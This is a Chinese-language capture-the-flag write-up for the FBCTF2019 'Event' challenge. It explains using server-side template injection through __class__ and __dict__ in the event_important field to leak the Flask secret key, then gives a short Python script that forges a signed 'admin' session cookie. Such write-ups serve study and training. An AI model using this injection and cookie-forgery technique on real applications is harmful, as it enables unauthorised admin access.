Skip to content

Latest commit

 

History

History
49 lines (35 loc) · 1.72 KB

FBCTF2019-Event.md

File metadata and controls

49 lines (35 loc) · 1.72 KB
title author avatar authorAbout authorDesc categories comments date authorLink tags keywords description photos
[FBCTF2019]Event
Troy3e
steamID:888007034
Blizzard:TroyeSivan#51769
技术
true
2021-01-29 07:07:17 -0800

随便注册个号(admin不行),试了下ssti不行。访问/flag需要admin的身份,所以寻找一下判断的标准是啥,首先抓包看下cookie之类的:

果然有,估计是要伪造user那里的东西,但是加密方式和密钥均未知。 卡住了,于是回头看之前那个可能是ssti的点,只有通过ssti读取密钥伪造cookie才有解,所以一定是存在ssti的。

通过测试,使用__class__或者__dict__在event_important处可以爆出相关内容

得到密钥,接下来伪造就行了:

flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

exp: from flask import Flask from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()